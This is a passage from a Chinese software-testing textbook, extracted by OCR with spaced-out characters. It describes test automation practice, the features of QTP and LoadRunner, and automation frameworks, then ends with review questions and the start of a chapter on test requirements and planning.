过 仔细 检查 脚本 ,相对 容易 区 分 究竟 是 哪 边 出 了 问题 。 

为 了 使 测试 自动 化 的 脚本 能 多 次 重复 进行 ,测试 脚本 如 同 代码 一 样 , 需 要 版 本 控制 ,通过 
类 似 于 CVS、SubVersion 这 样 的 工具 来 实现 动态 的 配置 管理 。 

3. 测试 自动 化 依赖 测试 流程 和 测试 用 例 

不 管 是 手工 测试 还 是 自动 化 测试 ,关键 是 测试 流程 的 建立 和 测试 用 例 的 设计 ,只 有 在 良好 
的 测试 用 例 基础 上 ,编写 测试 脚本 ,执行 测试 或 运行 测试 脚本 ,才能 保证 测试 的 执行 效果 。 为 
了 适合 自动 化 测试 脚本 的 开发 ,可 以 将 测试 用 例 转化 为 矩阵 、 表 格 或 其 他 结构 化 形式 ,使 测试 
用 例 的 逻辑 更 清晰 、 覆 盖 面 更 清楚 ,提高 脚本 的 开发 效率 。 

4. 软件 测试 自动 化 的 投入 较 大 

由 于 软件 测试 自动 化 在 前 期 的 投入 要 比 手工 测试 的 投入 大 得 多 ,除了 购买 软件 测试 工具 
所 投入 的 资金 和 人 员 培 训 成 本 之 外 ,还 要 用 很 多 时 间 去 开发 和 维护 测试 脚本 。 

5. 进行 资源 的 合理 调度 

理想 情况 下 ,从 写 第 一 行 代码 时 就 开始 进行 每 日 软件 包 构建 、 每 日 自动 化 的 基本 验证 测 
试 。 这 种 做 法 能 使 软件 的 开发 状态 得 到 频繁 的 更 新 ,能 够 及 早 地 发 现 设计 和 集成 的 缺陷 。 为 
了 充分 利用 时 间 与 设备 资源 ,下 班 之 后 进行 自动 的 软件 包 构 建 、 验 证 , 紧 接 着 自动 执行 测试 。 
如 果 安 排 得 好 ,第 二 天 上 班 时 ,测试 结果 就 已 经 发 送 到 测试 工程 师 的 电子 邮箱 里 了 。 白 天 开发 
和 调试 脚本 ,晚上 执行 自动 化 测试 ,这 是 一 种 行 之 有 效 的 方法 。 


9.4 功能 测试 工具 特性 要 求 


基于 GUI 的 功能 测试 工具 在 软件 测试 自动 化 中 有 着 重要 的 一 席 之 地 ,其 基本 原理 是 : 将 
操作 应 用 程序 的 各 种 动作 和 输入 记录 下 来 ,包括 键盘 操作 、 鼠 标 单 击 等 捕捉 (Record) 下 来 , 生 


成 一 个 脚本 文件 ,这 个 脚本 以 后 可 以 被 “回放 (Playback)”, 也 就 是 能 重复 上 一 次 所 操作 的 动 
作 , 实 现 自动 运行 。 但 自动 运行 还 不 是 测试 ,只 是 操作 演示 。 没 有 验证 ,就 不 能 算是 测试 。 所 
以 需要 对 相应 的 运行 结果 进行 验证 ,在 自动 化 测试 脚本 中 插入 检查 点 (Check Point) 或 验证 点 
(Verification Point, VP) 来 完成 实际 结果 和 期 望 结果 的 比较 。 在 实际 工作 中 ,往往 直接 在 开发 
平台 上 创建 脚本 ,或 在 录制 脚本 的 基础 上 进行 修改 ,使 脚本 更 容易 维护 和 复 用 。 脚 本 需要 不 断 
运行 ,经 过 多 次 调试 和 修改 , 才 确 保 脚 本 的 执行 达到 预期 效果 。 一 旦 完成 测试 脚本 ,就 可 以 重 
复 运 行 。 

为 了 更 有 效 地 开发 测试 脚本 ,提高 脚本 的 可 维护 性 ,不 仅 需要 良好 的 集成 开发 环境 的 支 
持 , 与 软件 构建 工具 (如 Ant、Maven 等 ) 无 颖 集成 ,而 且 测试 脚本 要 支持 数据 驱动 .关键 字 驱 
动 , 对 象 映射 等 特性 。 为 了 更 全 面 地 说 明 功 能 测试 工具 的 特性 ,这 里 以 HP QuickTest 
Professional(QTP) 为 例 (如 图 9-5 所 示 ) ,介绍 其 主要 特性 。 


图 9-5 HP QTP 主 界面 


1. QTP 的 主要 特性 

(1) 支持 的 脚本 语言 是 VBScript。 如 果 所 使 用 的 脚本 语言 和 所 熟悉 的 通用 语言 (如 VB、 
C 语言 等 ) 比 较 接近 或 一 致 ,测试 自动 化 也 就 成 功 了 一 半 。 脚 本 语言 的 功能 越 强大 ,就 越 能 够 
为 测试 开发 人 员 提 供 更 灵活 的 使 用 空间 ,而 且 具 备 一 个 良好 的 、 类 似 于 C 语言 的 脚本 语言 结 
构 ( 头 文件 . 库 文 件 等 ) 也 是 很 重要 的 , 它 会 大 大 减少 测试 脚本 的 维护 工作 量 。 总 之 ,要 确认 脚 
本 语言 的 功能 是 否 可 以 满足 测试 的 实际 需求 。 

(2) 能 引用 外 部 的 VBS 代码 库 。 通 过 函数 调用 特性 ,可 以 建立 一 套 比较 通用 的 函数 库 ， 
提高 脚本 开发 效率 和 维护 性 。 一 般 来 说 ,这 种 函数 调用 能 够 通过 函数 之 间 的 参数 传递 来 实现 ， 
有 利于 数据 驱动 脚本 的 实现 , 即 同样 的 脚本 可 以 处 理 不 同 的 测试 数据 输入 。 另 外 ,一 些 外 部 函 


数 能 够 为 测试 提供 更 强大 的 功能 ,如 Windows 程序 中 对 DLL 文件 的 访问 .对 数据 库 编程 接口 
的 调用 等 。 举 一 个 很 简单 又 很 实用 的 例子 ,完成 向 数据 库 插入 一 条 记录 的 操作 ,程序 可 以 提示 
插入 成 功 ,但 数据 是 否 正 确 写 入 数据 库 中 ,通常 需要 手工 去 数据 库 里 进行 检查 ,以 确认 功能 是 
否 真正 地 得 到 实现 。 如 果 能 够 在 测试 脚本 中 插入 检查 点 ,通过 调用 数据 库 提供 的 编程 接口 检 
查 刚才 的 操作 是 否 执行 正常 ,这 样 就 无 顷 人 工 检查 ,测试 程序 可 以 一 气 呵 成 完成 一 系列 的 自动 

(3) 支持 录制 和 回放 的 功能 。 支 持 对 象 标识 和 坐标 标识 两 种 方式 。 

(4) 提供 对 象 识别 工具 (Object Spy) ,用 来 查看 实时 对 象 或 测试 对 象 的 属性 和 方法 。 测 试 
工具 必须 能 够 在 程序 界面 中 区 分 各 种 对 象 (如 窗口 ,按钮 .滚动 条 等 ) 并 识别 出 来 ,录制 的 测试 
脚本 才 具 有 和 良好 的 可 读 性 、 修 改 的 灵活 性 和 维护 的 方便 性 。 

(5) 支持 多 种 方法 来 识别 对 象 ,如 标准 的 属性 (Mandatory)、 辅 助 的 属性 Assistive、 智 能 
的 属性 (Smart Identification) 和 顺序 标识 (Ordinal Identifier) 等 。 

(6) 支持 抽象 层 和 对 象 库 (Object Repository) ,应 用 程序 中 所 有 对 象 可 以 统一 被 管理 起 
来 ,测试 脚本 执行 时 ,可 以 查找 和 使 用 对 象 库 中 的 相应 对 象 。 当 系统 对 象 发 生变 化 时 ,只 要 在 
对 象 库 中 做 一 次 更 新 ,而 脚本 无 须 做 任何 改动 。 这 就 是 通过 抽象 层 来 实现 的 ,即将 程序 界面 中 
存在 的 所 有 对 象 实体 一 一 映射 成 逻辑 对 象 ,测试 就 可 以 针对 这 些 逻辑 对 象 进行 ,而 不 需要 依赖 
于 界面 上 元 素 的 变化 ,以 减少 测试 脚本 建立 和 维护 的 工作 量 。 抽 象 层 在 一 些 测试 工具 中 被 称 
为 测试 映射 图 CTest Map) ,测试 帧 (Test Frame) 或 取 值 映射 图 (Get Map)。 举 个 例子 ,就 比较 
容易 理解 抽象 层 的 作用 。 如 程序 中 经 常 有 的 用 户 登 录 窗 口 ,一 般 需 要 输入 用 户 名 和 口令 ,可 以 
在 脚本 中 将 这 两 条 信息 标识 为 “NAME” 和 “PASSWORD”, 对 应 程序 中 这 两 个 变量 名 。 这 就 
是 所 建立 的 抽象 层 ,可 以 在 大 量 脚本 里 ,有 同样 的 信息 标识 去 处 理 不 同 的 用 户 登 录 操作 。 如 果 
下 一 版 本 的 程序 中 ,登录 窗口 中 两 条 输入 信息 的 标识 变 成 了 “USERNAME” 和 “PASSWORD”, 这 
时 就 不 需要 把 所 有 脚本 都 修改 一 遍 , 只 要 简单 地 将 抽象 层 中 这 两 个 对 象 的 标识 进行 修改 就 可 
以 了 。 脚 本 执行 时 通过 抽象 层 自动 会 使 用 新 的 对 象 标识 。 有 些 工 具 软 件 支 持 程序 界面 对 象 自 
动 搜 索 ,建立 所 发 现 对 象 的 抽象 层 ,当然 也 可 以 用 脚本 手工 编程 定义 所 需要 的 抽象 层 。 

(7) 支持 数据 驱动 测试 (Data-Driven Test) 。 提 供 Excel 形式 的 数据 表格 DataTable, 用 
于 存放 测试 数据 或 参数 ,并 支持 Global 和 Local 两 种 类 型 。 在 数据 驱动 测试 中 ,测试 脚本 通 
过 从 事先 准备 的 数据 库 或 文件 中 读 取 数据 ,在 执行 测试 过 程 中 将 结果 数据 写 人 数据 库 或 文件 
中 ,或 直接 将 结果 和 事先 保存 在 数据 库 中 的 预期 结果 值 进行 比较 。 这 有 利于 测试 脚本 的 代码 
和 数据 输入 分 离 ,减少 代码 的 编程 和 维护 工作 量 , 也 有 利于 测试 用 例 的 扩充 和 完善 。 

(8) 支持 关键 字 驱 动 测试 (Keyword-Driven Test)。 通 过 动作 (Action) 来 组 织 测试 用 例 ， 
可 以 看 作 是 脚本 的 关键 字模 式 的 具体 表现 。 动 作 可 以 拥有 自己 的 测试 数据 表 (DataTable) 和 
对 象 库 ,并 支持 输入 /输出 (Input/Output) 参 数 。 测 试用 例 可 以 由 若干 个 动作 来 构成 ,并 能 通 
过 关键 字 视 图 查看 和 删除 。 其 动作 的 调用 支持 三 种 方式 : 插入 一 个 新 动作 、 复 制 一 个 已 有 的 
动作 和 直接 调用 已 存在 的 动作 。 

(9) 脚本 编辑 器 支持 两 种 视图 一 一 专家 (Expert) 模 式 和 关键 字模 式 。 专 家 模式 就 是 代码 
视图 ,而 关键 字模 式 提供 一 个 与 代码 无 关 的 ,描述 近似 于 原始 测试 用 例 的 视图 。 借 助 关键 词 视 
图 ,容易 插入 、 修 改 、 数 据 驱动 和 移 除 测 试 步骤 ,而 且 通 过 每 一 步骤 的 活动 屏幕 显示 被 测 应 用 的 
确切 状态 。 

(10) 支持 描述 性 编程 (Description Programming) ,用 简单 的 英语 以 文档 形式 记录 每 个 步 


又 ,并 通过 活动 屏幕 将 文档 与 一 个 集成 截屏 相 结合 。 

(11) 支持 各 种 类 型 的 验证 点 ,并 可 以 自动 引入 检查 点 来 验证 应 用 的 属性 和 功能 点 ,如 确 
认输 出 量 或 检查 链接 的 有 效 性 。 人 允许 使 用 几 种 不 同类 型 的 检查 点 ,包括 文本 .GUI 位 图 和 数 
据 库 等 。 

(12) 设置 环境 变量 (Environment Variables) ,从 而 使 一 个 测试 任务 中 所 有 动作 共享 。 环 
境 变 量 分 为 内 建 的 (Build In) 和 自 定义 的 (User Defined) 两 种 类 型 。 自 定义 的 环境 变量 可 以 
指向 一 个 XML 文件 。 

(13) 错误 现场 恢复 (Recovery Scenario) ,可 在 前 一 个 用 例 执 行 出 错 后 ,将 被 测 系 统 恢复 
到 初始 状态 ,从 而 继续 执行 下 面 的 测试 用 例 。 

(14) 测试 结果 有 多 种 状态 ,如 通过 (Passed) 、 失 败 (Failed)、 完 成 (Done) 警告 (Warning) 
和 信息 (Information) 等 ,并 能 进行 过 滤 。 

(15) 提供 调试 环境 。 如 TestFusion 报告 列 出 在 测试 中 发 现 的 差错 和 出 错 的 位 置 ,可 快 
速 隔离 和 诊断 缺陷 ,具有 调试 功能 ,支持 脚本 单 步 运行 .设置 断 点 .得 到 变量 返回 结果 等 ,从 而 
有 效 地 对 测试 脚本 的 执行 进行 跟踪 、 检 查 ,迅速 定位 问题 。 

(16) 对 外 提供 了 大 量 的 API 和 对 象 ,从 而 可 以 编写 脚本 以 实现 测试 的 操作 ,配置 .运行 和 
管理 完全 自动 化 。 测 试 工具 的 引入 是 一 个 长 期 的 过 程 ,应 该 是 伴随 着 测试 过 程 改 进而 进行 的 
一 个 持续 的 过 程 , 因 此 ,测试 工具 的 集成 能 力也 是 必须 考虑 的 因素 。 这 里 的 集成 ,包括 两 个 方 
面 的 要 求 , 一 是 能 否 和 开发 工具 进行 良好 的 集成 ; 二 是 能 否 和 其 他 测试 工具 进行 良好 的 集成 。 

(17) 提供 了 很 多 插件, 如 .NET Java、SAP 终端 模拟 器 (Terminal Emulator) 等 ,以 支持 
不 同类 型 应 用 的 测试 。 

2. 其 他 一 些 需要 的 特性 

(1) 容错 处 理 机 制 。 对 于 可 以 自动 执行 的 测试 任务 ,通常 会 在 上 班 时 间 将 任务 定制 好 ,下 
班 后 启动 任务 执行 ,第 二 天 上 班 再 来 检查 测试 执行 的 结果 。 但 是 ,经 常会 出 现 本 来 需要 执行 整 
晚 的 工作 ,第 二 天 却 发 现 才 执行 了 5 分 钟 , 就 因为 程序 的 一 些 异 常 错误 而 终止 了 ,而 且 这 种 情 
况 经 常 发 生 。 因 此 ,测试 工具 应 有 相应 的 容错 处 理 系统 ,可 以 自动 处 理 一 些 异 常情 况 而 对 系统 
进行 复位 ,或 者 允许 用 户 设置 是 否 可 以 跳 过 某 些 错 误 , 然 后 继续 执行 下 面 的 任务 。 例 如 ,开源 
的 Web 功能 测试 工具 Selenium 就 设 定 了 不 同 的 断言 方式 ,其 中 当 “verify 断言 方式 ”验证 失败 
时 ,测试 执行 不 会 终止 ,继续 执行 下 去 ,并 将 错误 记 入 日 志 。 

(2) 命令 行 方 式 运行 测试 脚本 ,可 以 为 测试 的 执行 带 来 更 大 的 灵活 性 ,这 样 程序 Build 后 
就 可 以 自动 启动 测试 脚本 的 执行 ,并 且 可 以 同时 向 一 组 机 器 发 布 命令 ,让 它们 同时 运行 不 同 的 
测试 脚本 。 

(3) 分 布 式 测试 的 支持 。 在 互联 网 上 有 许多 协同 工作 ,通信 等 方面 的 应 用 软件 ,如 网 上 会 
议 系统 、 聊 天 系统 等 ,支持 多 用 户 来 共同 操作 软件 ,这 时 对 自动 化 测试 工具 有 更 高 的 要 求 。 例 
如 ,测试 任务 在 多 台 机 器 上 运行 ,操作 步骤 之 间 有 依赖 性 ,如 需要 等 到 机 器 A 的 某 操作 执行 完 
之 后 ,机 器 B 的 某 一 步 操作 才能 执行 。 这 样 , 就 要 求 脚本 的 运行 能 够 按照 事先 设置 的 任务 执 
行 时 间 表 进行 , 即 在 指定 时 间 指定 设备 上 执行 指定 的 测试 任务 。 而 且 , 还 要 避免 资源 使 用 冲 
突 问题 ,例如 , 当 两 个 测试 任务 要 同时 打开 一 个 文件 时 ,能 保持 协调 或 协同 处 理 ,避免 出 现 资源 
竞争 问题 。 

(4) 支持 远程 代理 程序 的 运行 ,在 测试 人 员 的 工作 机 上 可 以 控制 实验 室 里 的 远程 测试 机 ， 
让 测试 机 执行 测试 脚本 ,完成 测试 任务 。 代 理 程 序 占 有 很 少 资源 .具有 很 强 的 独立 性 ,相互 传 


送 的 数据 量 也 要 很 小 ,这 样 对 测试 结果 的 影响 才 可 以 不 计 。 
(5) 跨 平台 特性 ,如 支持 Windows、Mac OS 和 Linux 不 同 的 平台 ,具有 更 广泛 的 应 用 空间 。 


9.5 性 能 测试 工具 特性 要 求 


性 能 测试 工具 执行 测试 的 过 程 一 般 是 通过 虚拟 用 户 生 成 器 录制 关键 业务 操作 ,自动 生成 
原始 的 测试 脚本 。 然 后 ,在 控制 器 编辑 、 组 织 测试 脚本 ,分 发 给 每 个 负载 生成 器 (也 称 代理 ， 
Agent) ,Agent 向 服务 器 发 送行 请 求 模 拟 客户 端 ,执行 脚本 的 同时 将 测试 的 结果 返回 给 控制 
器 。 最 终 由 控制 器 统计 测试 结果 ,并 完成 测试 报告 。 

作为 性 能 测试 工具 ,首先 能 模拟 实际 用 户 的 操作 行为 ,记录 和 回放 多 用 户 测试 中 的 事务 处 
理 过 程 ,自动 生成 相应 的 测试 脚本 。 其 次 ,能 针对 脚本 进行 修改 ,增加 逻辑 控制 ,完成 参数 化 和 
数据 关联 。 假 设 要 使 用 一 系列 不 同 的 输入 值 来 执行 相同 脚本 的 操作 时 ,来 匹配 多 个 实际 用 户 
的 操作 行为 ,从 而 反映 出 系统 真正 的 负载 能 力 , 这 就 需要 用 参数 来 替换 已 录制 的 值 , 即 脚本 参 
数 化 。 脚 本 的 参数 化 可 以 简化 脚本 ,并 增强 脚本 适用 性 。 数 据 关联 类 似 于 参数 化 ,可 以 简化 脚 
本 ,适应 企业 应 用 中 需要 动态 数据 的 情况 。 数 据 关 联 包含 三 个 步骤 一 一 定义 哪个 录制 的 值 需 
要 被 关联 .定义 数据 源 和 它们 之 间 的 关联 关系 。 

再 者 ,可 以 设置 不 同 的 应 用 环境 和 场景 ,通过 虚拟 用 户 执行 相应 的 测试 脚本 。 最 后 ,在 脚 
本 执行 过 程 中 ,通过 系统 监控 工具 获得 系统 性 能 的 相关 指标 的 值 , 包 括 系统 资源 利用 率 、 响 应 
时 间 数据 吞吐 量 。 通 过 实时 性 能 监测 来 确认 性 能 指标 或 发 现 性 能 问题 。 例 如 ,流行 的 负载 测 
试 工具 HP LoadRunner(LR) 有 以 下 4 个 核心 组 件 。 

(1) 虚拟 用 户 生 成 器 (Vuser Generator, VuGen): 用 于 捕获 最 终 用 户 业 务 流程 和 创建 测 
试 脚本 , 即 通过 将 应 用 程序 中 典型 最 终 用 户 执行 的 操作 录制 到 自动 虚拟 用 户 (Vuser) 脚 本 中 ， 
以 便 作为 负载 测试 的 基础 。 虚 拟 用 户 包括 C Vuser、VB Vuser、VB Script Vuser Java Vuser、 
JavaScript Vuser 等 。 

(2) 控制 器 (Controller): 用 于 组 织 、 驱 动 、 管 理 和 监控 负载 测试 的 中 央 控 制 。 使 月 
Controller 可 以 运行 用 来 模拟 真实 用 户 执 行 的 操作 的 脚本 ,并 可 以 通过 让 多 个 Vuser( 虚 拟 用 
户 ) 同 时 执行 这 些 操作 来 在 系统 中 创建 负载 。 

(3) 负载 生成 器 (Load Generator) : 运行 虚拟 用 户 , 以 产生 有 效 的 、 可 控制 的 负载 。 

(4) 分 析 器 (Analysis) : 帮助 查看 ,分 析 和 比较 性 能 结果 ,使 用 这 些 图 和 报告 ,可 以 标识 和 
确定 应 用 程序 中 的 瓶颈 ,并 确定 需要 对 系统 进行 哪些 更 改 来 提高 系统 性 能 。 

另外 ,作为 性 能 测试 工具 ,一 般 还 会 提供 下 列 功能 。 

(1) 能 够 支持 广泛 的 通信 协议 和 技术 ,例如 , HP LoadRunner 支持 Windows Socket、 
HTTP、FTP、LDAP 、Internet Messaging (IMAP) 、MS Exchange (MAPI), POP3, SMTP、 
voiceXML、WAP、ODBC 以 及 各 种 数据 库 、 中 间 件 等 的 连接 。LoadRunner 还 提供 Protocol 
Advisor 可 以 扫描 应 用 程序 以 诊断 被 测试 系统 所 采用 的 协议 ,并 将 它们 显示 在 列表 中 。 

(2) 提供 一 个 互动 的 环境 ,能 建立 持续 且 循 环 的 负载 ,限定 负载 ,又 能 管理 和 驱动 负载 测 
试 方案 。 可 以 事先 设 定 测试 目标 ,优化 测试 流程 ,并 利用 “日 程 计划 服务 "来 定义 用 户 在 什么 时 
候 访 问 系统 以 产生 负载 ,这 样 使 测试 过 程 高 度 自动 化 。 

(3) 通过 广域网 模拟 ,可 以 比较 精确 地 测试 部 署 到 广域网 上 的 产品 的 点 到 点 性 能 ,包括 延 
时 、 丢 包 、 链 接 错 误 等 ,可 以 拥有 一 个 更 贴近 真实 部 署 环境 的 性 能 测试 环境 。 


(4) 安全 机 制 ,例如 ,LoadRunner 引入 了 Secure Channels 机 制 ,在 控制 器 和 负载 产生 器 
之 间 创 建安 全 的 通信 通道 ,防止 黑客 的 网 络 攻击 。 

(5) 网 络 组 合 的 配置 。 对 于 同一 个 Web 应 用 程序 ,用 户 可 能 通过 不 同 的 网 络 类 型 来 访 
问 。 负 载 测试 如 果 想 真实 地 模拟 这 种 情况 , 则 需要 进行 网 络 组 合 的 配置 。 

(6) 自 定义 测试 结果 的 分 析 。 例 如 ,LoadRunner 提供 Analysis API, 用 户 可 以 根据 自己 
特定 的 需要 编写 程序 ,从 测试 结果 中 创建 所 需 的 分 析 会 话 (Analysis Session) 并 对 其 原始 数据 
进行 分 析 , 提 取 关 键 的 度量 数据 。 也 可 以 自己 编写 程序 执行 Analysis 的 某 些 功 能 ,提取 数据 
给 外 部 的 其 他 程序 或 软件 使 用 。 


9.6 测试 自动 化 的 框架 


自动 化 测试 (Test Automation,TA) 框 架 , 不 仅 能 够 很 好 地 支持 脚本 的 开发 .调试 和 运行 ， 
还 要 能 够 灵活 地 集成 相应 的 测试 工具 ,管理 测试 机 器 、 测 试 任务 和 测试 报告 等 ,例如 ,之 前 介绍 
的 JUnit、Selenium/ Watir-webDriver 以 及 Appium/Calabash 也 可 以 分 别 被 看 作 是 单元 测试 、 
Web 功能 测试 以 及 移动 应 用 的 自动 化 测试 框架 。 优 秀 的 TA 框架 能 够 与 现 有 测试 管理 系统 、 
源 代码 管理 系统 、 软 件 包 构 建 系统 或 文件 管理 系统 等 集成 起 来 。 例 如 , 当 一 个 新 软件 包 被 构建 
之 后 ,能 自动 安装 和 配置 到 测试 环境 上 。TA 框架 由 下 列 部 分 组 成 ,如 图 9-6 所 示 。 


9-6 TA 框架 的 基本 构成 


(1) Harness/IDE: TA 框架 的 核心 ,相当 于 * 夹 具 ”, 其 他 TA 框架 的 组 成 部 分 都 能 作为 插 
件 与 之 集成 ,而 且 承 担 脚 本 的 创建 ,编辑 \ 调 试 和 管理 等 。 

(2) TA 脚本 的 管理 ,包括 公共 脚本 库 、 项 目 归 类 的 脚本 库 。 

(3) 代理 (Agents) 负 责 Harness 与 工具 的 通信 ,控制 测试 工具 的 运行 。 

(4) 测试 工具 (Tools) 。 

(5) 任务 安排 (Scheduler) : 安排 和 提交 定时 任务 ,事件 触发 任务 等 ,以 便 实 现 无 人 值守 的 
自动 化 测试 执行 。 

(6) 报告 (Report) 呈 现 , 任 何 一 个 人 都 能 以 Web 方式 及 时 查 到 测试 结果 。 

TA 执行 的 要 求 很 清楚 一 一 测试 人 员 可 以 预先 安排 测试 任务 ,在 客户 端 以 Web 方式 提交 
测试 任务 .查看 测试 结果 。 如 下 班 前 提交 一 个 晚上 9 点 运行 的 测试 任务 ,到 了 晚上 9 点 ,系统 
会 自动 启动 任务 执行 。 不 仅 能 安排 和 提交 测试 任务 ,还 要 能 够 管理 测试 任务 .控制 或 操作 测试 
工具 的 运行 ,所 以 Harness 要 有 管理 和 控制 能 力 。 例 如 ,开源 TA 框架 (Software Testing 
Automation Framework,STAF) 提 供 测试 所 需 的 基本 服务 ,提供 TA 框架 所 需 的 底层 通信 ,并 


使 不 同 的 测试 工具 进程 之 间 交 换 数据 。STAF 需要 和 软件 自动 化 框架 支持 (Software 
Automation Framework Support,， SAFS) 及 自动 化 框架 执行 引擎 (STAf eXecution engine， 
STAX) 结 合 起 来 使 用 。 

再 进一步 ,TA 框架 能 把 TA 运行 的 测试 用 例 /任务 和 手工 运行 的 测试 用 例 /任务 集中 起 
来 一 起 管理 ; TA 框架 能 够 与 持续 集成 环境 、 配 置 管理 系统 (如 SVN、Git 源 代码 管理 ) 和 缺陷 
管理 系统 等 集成 起 来 ,TA 脚本 直接 由 配置 管理 系统 接管 ,持续 构建 后 直接 触发 自动 化 测试 
做 到 持续 集成 .持续 测试 ,TA 所 发 现 的 缺陷 能 方便 地 被 加 入 到 缺陷 库 中 ,形成 一 个 良好 的 开 
发 和 测试 整合 的 环境 。 

对 敏捷 测试 来 说 ,自动 化 测试 框架 更 为 重要 ,一般 会 选择 轻 量 型 .开放 类 型 的 框架 ,其 典型 
案例 可 以 参考 RobotFramework (code. google. com/p/robotframework/), 它 是 基于 Python 
开发 的 可 扩展 的 框架 ,适用 于 多 种 接口 的 复杂 软件 (如 用 户 接口 、 命 令 行 ,Web Service、 编 程 
接口 等 ) 的 测试 。 又 比如 Thoughtworks Mingle 十 Cruise 十 Twist, 能 帮助 我 们 有 效 管理 敏捷 
项 目 和 协同 工作 ,允许 使 用 BDD 开发 模式 和 Groovy 动态 语言 来 编写 测试 脚本 ,包括 手动 和 
自动 方式 来 创建 可 复 用 的 自动 化 测试 脚本 ,并 结合 测试 领域 特定 语言 (Domain Specific 
Languages,DSL) 实 现 自动 化 测试 。BDD 开发 模式 在 敏捷 测试 中 也 很 受 关注 ,这 类 框架 如 
Cucumber,RSpec, NBehave/CBehave/JBehave、EasyB、JDave 等 。 


小 结 


测试 工具 的 使 用 是 自动 化 测试 的 主要 特征 ,也 是 自动 化 测试 的 主要 手段 。 自 动 化 测试 ,有 
时 不 需要 测试 工具 ,而 是 使 用 一 些 命令 .Shell 脚本 就 可 以 完成 测试 任务 ; 其 次 ,自动 化 测试 不 
能 仅 局 限于 工具 本 身 , 必 须 和 测试 目标 和 测试 策略 结合 起 来 ,包括 自动 化 测试 的 思想 流程 和 
方法 ,在 流程 上 支撑 自动 化 测试 的 实现 ,在 方法 上 保证 选用 正确 的 测试 工具 。 

测试 工具 可 以 根据 不 同 的 测试 方法 、 对 象 和 目的 进行 分 类 ,如 白 盒 测试 工具 、 黑 盒 测 试 工 
具 、 单 元 测试 工具 、 功 能 测试 工具 、 负 载 测 试 工具 等 。 选 择 测试 工具 不 仅 要 遵守 一 定 的 程序 和 
步骤 ,而 且 要 注重 测试 工具 的 特性 ,结合 自己 的 实际 应 用 特点 ,选择 合适 的 工具 。 同 时 ,在 测试 
自动 化 实施 时 ,不 仅 要 了 解 普遍 存在 的 问题 ,克服 这 些 问题 ,建立 合适 的 目标 ,做 好 人 才 和 知识 
等 各 方面 的 储备 ,而 且 , 要 将 自动 化 测试 纳入 整个 软件 开发 流程 之 中 , 找 准 切入 点 ,逐步 推进 自 
动 化 测试 的 工作 ,达到 事先 设 定 的 目标 。 

本 章 着 重 介绍 了 功能 测试 工具 和 性 能 测试 工具 的 一 些 关键 特性 ,对 选择 合适 的 工具 和 充 
分 使 用 好 测试 工具 都 有 很 大 帮助 。 最 后 ,还 系统 地 介绍 了 自动 化 测试 框架 的 概念 和 构成 。 


1. 手工 测试 和 自动 化 测试 有 什么 主要 区 别 ? 

2. 手工 测试 和 自动 化 测试 如 何 进行 有 效 的 结合 ? 试 举 出 适当 的 例子 。 
3. 测试 自动 化 实现 中 ,关键 的 技术 是 什么 ? 

4. 选择 测试 工具 时 ,应 注意 哪些 方面 ? 

5. 谈 谈 如 何 更 好 地 开展 自动 化 测试 工作 。 


第 3 篇 
软件 测试 项 目 实践 


软件 测试 方法 和 技术 最 终 要 应 用 到 实际 工程 项 目 中 ,通过 项 目 实践 来 检验 ,也 只 有 通过 不 
断 的 项 目 实践 来 获取 经 验 ,真正 提高 自己 的 测试 实战 能 力 。 从 软件 开发 基本 过 程 看 ,软件 测试 
经 历 从 需求 评审 ,设计 评审 ,单元 测试 到 系统 测试 、 验 收 测试 等 过 程 ,而 从 软件 项 目 看 ,软件 测 
试 经 历 从 测试 计划 、 测 试 设计 、 测 试 环境 设置 测试 执行 测试 结果 分 析 直 到 最 终 提交 测试 报告 
这 样 一 个 过 程 。 而 测试 计划 的 基础 是 测试 需求 分 析 , 而 且 在 这 个 过 程 中 还 涉及 测试 用 例 的 建 
立 和 维护 、 缺 陷 的 报告 和 跟踪 。 在 测试 项 目 管理 过 程 中 ,也 需要 做 好 资源 ,进度 ,风险 和 文档 的 
管理 ,但 这 些 知识 和 技能 可 以 在 “软件 项 目 管理 ”课程 中 学 习 , 只 是 要 注意 软件 测试 的 特点 , 例 
如 ,测试 总 是 有 风险 的 ,测试 工作 在 后 期 容易 受到 需求 变更 的 影响 ,从 而 更 有 效 地 管理 软件 测 
试 项 目 。 

本 篇 总 共 5 章 : 

第 10 章 测试 需求 分 析 与 测试 计划 

第 11 章 设计 和 维护 测试 用 例 

第 12 章 部 署 测试 环境 

第 13 章 测试 执行 缺陷 报告 与 跟踪 

第 14 章 软件 测试 和 质量 分 析 报告 


CHAPTER 10 
第 10 章 


测试 需求 分 析 与 测试 计划 


美国 项 目 管理 研究 所 (Project Management Institute, PMI1) 认 为 ， 
项 目 管理 是 在 项 目 活动 中 运用 一 系列 的 知识 技能、 工具 和 技术 ,以 满足 
超过 相关 利益 者 对 项 目的 要 求 和 期 望 。 它 实际 指出 了 项 目 管理 涉及 
的 范畴 和 需要 达到 的 目标 。 使 项 目 顺利 进行 并 达到 预期 的 效果 ,这 就 是 
项 目 管理 所 应 该 实现 的 基本 目标 。 那 么 ,软件 项 目 管理 的 目标 就 是 为 了 
使 软件 项 目 能 够 按照 预定 的 成 本 .进度 、 质 量 顺利 完成 ,而 对 成 本 、 资 源 、 
进度 质量 .风险 等 进行 分 析 和 控制 的 活动 。 

对 于 软件 测试 项 目 管理 ,在 概念 上 和 一 般 项 目 管理 没有 区 别 , 但 所 
管理 的 具体 内 容 、 所 采用 的 具体 技术 和 工具 是 不 同 的 ,而 且 关注 点 也 不 
一 样 。 软 件 测试 项 目的 管理 ,始终 围绕 如 何 保证 产品 质量 开展 工作 , 防 
范 软件 开发 中 所 存在 的 各 种 质量 风险 ,密切 跟踪 和 分 析 缺 陷 , 最 终 在 合 
理 的 成 本 和 进度 控制 下 能 够 有 效 地 完成 所 有 的 测试 工作 ,帮助 团队 发 布 
满足 用 户 要 求 和 期 望 的 .可 维护 的 ,高 质量 的 软件 产品 。 

在 软件 测试 项 目 管理 中 ,主要 的 工作 就 是 做 好 计划 和 监控 : 测试 计 
划 的 制定 和 执行 计划 的 监督 与 控制 。 测 试 计划 涉及 面 比较 广 , 主 要 包括 
下 列 内 容 。 

(1) 测试 目标 和 测试 范围 的 确定 ,包括 具体 测试 项 及 其 优先 级 ; 

(2) 识别 测试 风险 ,并 采取 相对 应 的 测试 策略 ,包括 测试 方法 和 工 
具 的 选择 ; 

(3) 测试 工作 量 估算 测试 资源 分 配 ; 

(4) 测试 阶段 划分 .里 程 碑 定 义 和 进 度 表 编 制 ; 

(5) 最 终 交 付 内 容 。 

但 要 做 好 计划 ,需要 做 好 测试 需求 分 析 , 即 明确 测试 的 范围 和 测试 
